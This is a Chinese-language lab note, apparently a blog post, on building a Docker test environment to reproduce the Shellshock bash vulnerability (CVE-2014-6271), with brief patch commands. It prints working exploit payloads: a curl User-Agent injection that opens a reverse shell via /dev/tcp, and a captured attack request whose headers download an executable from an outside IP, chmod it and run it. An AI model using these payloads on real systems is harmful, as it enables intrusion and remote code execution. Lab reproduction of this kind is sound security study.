docker大法好
搭建環境:
centos 6.6 x64
docker安裝
看網上說docker需要內核3.8以上,而且只能運行在64位系統
centos 6.6內核低了一點,升級一下內核。
內核升級
a、升級內核
cd /etc/yum.repos.d
wget http://www.hop5.in/yum/el6/hop5.repo
yum install kernel-ml-aufs kernel-ml-aufs-devel
b、修改grub的主配置文件/etc/grub.conf,設置default=0,表示第一個title下的內容為默認啟動的kernel(一般新安裝的內核在第一個位置)
c、重啟系統后運行
uname -r
如果內核是3.10的話就代表升級成功。
docker安裝
d、首先關閉selinux:
setenforce 0
sed -i '/^SELINUX=/c\SELINUX=disabled' /etc/selinux/config
e、在Fedora EPEL源中已經提供了docker-io包,下載安裝epel:
rpm -ivh http://mirrors.sohu.com/fedora-epel/6/x86_64/epel-release-6-8.noarch.rpm
sed -i 's/^mirrorlist=https/mirrorlist=http/' /etc/yum.repos.d/epel.repo
f、yum安裝docker-io:
yum -y install docker-io
g、啟動docker服務:service docker start
一定要啟動服務,后面運行啥都是爆出錯誤,應該是服務沒開,導致無法守護進程。
Get http:///var/run/docker.sock/v1.19/images/search?term=shellshock: dial unix /var/run/docker.sock: no such file or directory. Are you trying to connect to a TLS-enabled daemon without TLS?
環境搭建(利用別人已經搭建好的環境測試)
查找環境
docker search shellshock
下載鏡像
docker pull 鏡像name
查看當前可用鏡像
docker images
運行鏡像,將docker的80轉發到本機的80,並運行bash程序
docker run -it -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash
這里遇到過一個錯誤:
Error response from daemon: Cannot start container a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14: [8] System error: write /sys/fs/cgroup/docker/a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14/cgroup.procs: no space left on device
解決辦法:
sudo echo 1 > /sys/fs/cgroup/docker/cgroup.clone_children
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.mems
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.cpus
再重啟一下docker服務。
docker的bash下啟動web容器,這個鏡像的cgi-bin路徑是/usr/lib/cgi-bin/
/usr/sbin/apachectl start
查看正在運行的docker
docker ps
停止運行中的docker
docker stop name(這個name是docker ps中最后的name參數值)
2、攻擊
poc測試是不是有這個漏洞(bash 1.14至bash 4.3的Linux/Unix系統存在,阿里雲的應該是centos6.5是被修補了)
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
a、curl請求
注意前面特殊字符的空格,還有就是程序路徑,以前遇上過一個實例,可能是PATH設置問題導致糾結了很久,最好還是帶好路徑。
curl -A "() { :; }; /bin/bash -i > /dev/tcp/192.168.206.129/2333 0<&1 2>&1" http://192.168.206.130/cgi-bin/stats
b、msf模塊
3、另外的環境搭建
在沒用docker之前,是下載了一個centos5.5去直接測試,相比docker,鏡像文件大小、安裝時間、apache安裝,等等一系列配置,最后千辛萬苦搭建好一個apache_cgi模式,結果好像是因為權限問題,bash也就能echo輸出文件內容,其他的都不行。docker就太方便了,就算是不用別人的鏡像,自己配置的話,需要按自己需求來弄,需要麻煩一些。
記錄一下怎么樣弄的cgi模式,用的是centos自帶的apache。
httpd.conf配置:
設置/var/www/cgi-bin目錄的腳本別名是cgi-bin,
1、ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
讓這個目錄下都支持cgi
2、
<Directory "/var/www/cgi-bin">
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</Directory>
添加訪問后綴,當其被訪問能被解析
3、AddHandler cgi-script .cgi .pl .sh
需要有cgi模塊
4、LoadModule cgi_module modules/mod_cgi.so
最后一定要注意的是文件的權限問題。
Chmod 777 poc.cgi
其中poc.cgi內容:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
4、
GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
5、防御(並未去測試)
Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade
Gentoo:
sudo emerge --sync && glsa-check -f affected
參考:
http://blog.csdn.net/wuhilon88/article/details/41621285
http://drops.wooyun.org/papers/3064
http://drops.wooyun.org/papers/3268